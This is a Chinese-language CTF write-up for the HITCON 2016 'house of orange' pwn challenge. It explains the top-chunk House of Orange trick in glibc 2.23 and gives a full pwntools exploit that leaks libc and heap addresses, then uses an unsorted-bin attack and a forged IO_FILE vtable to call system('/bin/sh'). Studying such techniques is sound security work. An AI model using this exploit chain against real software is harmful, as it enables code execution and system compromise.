就从分析一道例题开始吧。houseoforange_hitcon_2016(来自buu平台

1
2
3
4
5
6
7
8
giantbranch@ubuntu:~/Desktop$ checksec hoo
[*] '/home/giantbranch/Desktop/hoo'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开,这是libc-2.23版本的一个利用方式。

一开始我觉house of orange应该是一个提权的手法,事实上不是这样的。orange这个手法其实就是在没有free的情况下得到一个unsortedbin的堆块。如果要提权还需要结合其他方法去整,这道题就是用到了fsop去getshell。

这个逆向自己逆,不多阐述,大概就是没有free,有个edit溢出写

大白话:没有free的话可以通过修改符合条件的topchunksize,然后申请一个比topchunk大的堆块,topchunk就会被free掉

条件:

1
2
3
4
5
6
7
MINSIZE<old_top_size<nb+MINSIZE

old_top_size的prev_size位是1

(old_top_size+old_top)&0xfff=0x000

nb<0x20000

exp

1
2
3
4
5
add(0x30, 'ffff\n', 233, 56746)
pl = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(56746)
pl += p64(0) * 2 + p64(0xf81)
edit(len(pl), pl, 233, 56746)
add(0x1000, 'f\n', 233, 56746)

到这里house of orange就已经结束了,得到的结果是得到了一个ub的堆块。

img

然后是ub attack+fsop组合拳的getshell(在2.27之后这套组合拳已经不好用了,因为libc取消了abort刷新流的操作)

利用链是

1
__libc_malloc => malloc_printerr => __libc_message => abort => _IO_flush_all_lockp

由于libc2.23版本没有对vtable的合法性检测,所以我们可以对整个iofile链进行伪造,思路:利用ubattack将_IO_list_all劫持为 main_arena +88,但是 main_arena 这附近是不可写的,but我们只是想劫持偏移为 0x68的地方, main_arena +88+0x68的地方放的是0x60大小smallbin的地方,我们申请一个堆块会遍历unsortedbin,如果不符合就放入largebin或者smallbin,那我们利用溢出将堆块的大小改为0x60即可完成chain上的修改,然后伪造vtable然后再伪造vt的内容就可以完成劫持

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import *

context.os = 'linux'
context.log_level = "debug"

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

context.arch = 'amd64'

p = process('./hoo')
elf = ELF('./hoo')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#p = remote('node5.buuoj.cn',28130)

def debug():
gdb.attach(p)
pause()

def choice(cho):
sla('Your choice : ',cho)

def add(size,content,price,cl):
choice(1)
sla('Length of name :',size)
sla('Name :',content)
sla('Price of Orange:',price)
sla("Color of Orange:",cl)

def show():
choice(2)

def edit(size,content,price,color):
choice(3)
sla('Length of name :',size)
p.sendafter("Name:", content)
sla("Price of Orange: ", str(price))
sla("Color of Orange:", str(color))

def pwn():
add(0x30, 'ffff\n', 233, 56746)
pl = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(56746)
pl += p64(0) * 2 + p64(0xf81)
edit(len(pl), pl, 233, 56746)
add(0x1000, 'f\n', 233, 56746)
#debug()
add(0x400, 'f'*8, 666, 2)
show()
ru('ffffffff\n')
libcbase = uu64('\x00'+r(5)) - 0x3C5100
leak('libcbase',libcbase)
_IO_list_all = libcbase + libc.sym['_IO_list_all']
system = libcbase + libc.sym['system']
leak('all',_IO_list_all)
leak('system',system)
edit(0x10, 'f'*0x10, 666, 2)
show()
ru('ffffffffffffffff')
heapaddr = uu64(r(6)) - 0xe0
leak('heapaddr',heapaddr)

orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
orange += p64(0) + p64(1)
orange = orange.ljust(0xc0, b'\x00')
orange += p64(0) * 3 + p64(heapaddr + 0x5E8) + p64(0) * 2 + p64(system)
payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(56746)
payload += p64(0) + orange

edit(len(payload), payload, 233, 56746)
#debug()
choice(1)

#
itr()

if __name__ == '__main__':
pwn()


'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''